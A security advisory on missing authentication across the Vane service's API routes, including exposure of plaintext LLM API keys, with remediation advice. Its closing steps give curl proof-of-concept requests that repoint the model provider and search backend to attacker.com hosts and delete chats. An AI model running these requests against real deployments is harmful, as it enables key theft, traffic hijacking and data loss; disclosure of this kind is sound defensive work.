ItzCrazyKns Vane API route.ts missing authentication

An unauthenticated remote attacker can reach any API endpoint on the Vane service port (default 3001) without any authentication, session validation, or API key checks [ref_id=1]. The attacker first enumerates the full configuration and all LLM provider API keys via `GET /api/config` [ref_id=2]. With those keys, the attacker can then read and delete all chat history (`GET/DELETE /api/chats/[id]`), create malicious model providers pointing to attacker-controlled infrastructure (`POST /api/providers`), redirect the search backend to an attacker server (`POST /api/config`), hijack active streaming sessions via `POST /api/reconnect/[id]`, and consume LLM API quotas by initiating chat sessions [ref_id=1].

All 16+ Next.js API route handlers in `src/app/api/*/route.ts` lack any authentication or authorization checks. The configuration endpoint (`src/app/api/config/route.ts`) returns the full configuration object, including plaintext API keys, via `configManager.getCurrentConfig()` without filtering. No `middleware.ts` file exists in the project, confirming a complete architectural omission of access control [ref_id=1][ref_id=2].

No patch has been published by the vendor as of the advisory date [ref_id=1]. The advisory recommends implementing Next.js middleware authentication (e.g., a `src/middleware.ts` file that validates a Bearer token on all `/api/:path*` routes), adding user authentication with session management (e.g., NextAuth.js), and deploying network-level controls such as binding to `127.0.0.1` only or placing the service behind a reverse proxy with HTTP Basic Auth [ref_id=1]. The root cause is a complete absence of authentication logic in every route handler and no user model in the SQLite schema [ref_id=1].

1. Enumerate all chat history without authentication: `curl -s http://localhost:3001/api/chats | python3 -m json.tool` [ref_id=1]. 2. Read the full configuration including plaintext API keys: `GET /api/config` [ref_id=2]. 3. Create a malicious model provider pointing to attacker infrastructure: `curl -s -X POST http://localhost:3001/api/providers -H "Content-Type: application/json" -d '{"type":"ollama","name":"attacker-proxy","config":{"baseURL":"http://attacker.com:11434"}}'` [ref_id=1]. 4. Redirect the search backend to an attacker-controlled server: `curl -s -X POST http://localhost:3001/api/config -H "Content-Type: application/json" -d '{"key":"search.searxngURL","value":"http://attacker-controlled.com:8080"}'` [ref_id=1]. 5. Delete a specific chat and its messages: `curl -s -X DELETE "http://localhost:3001/api/chats/{id}"` [ref_id=1].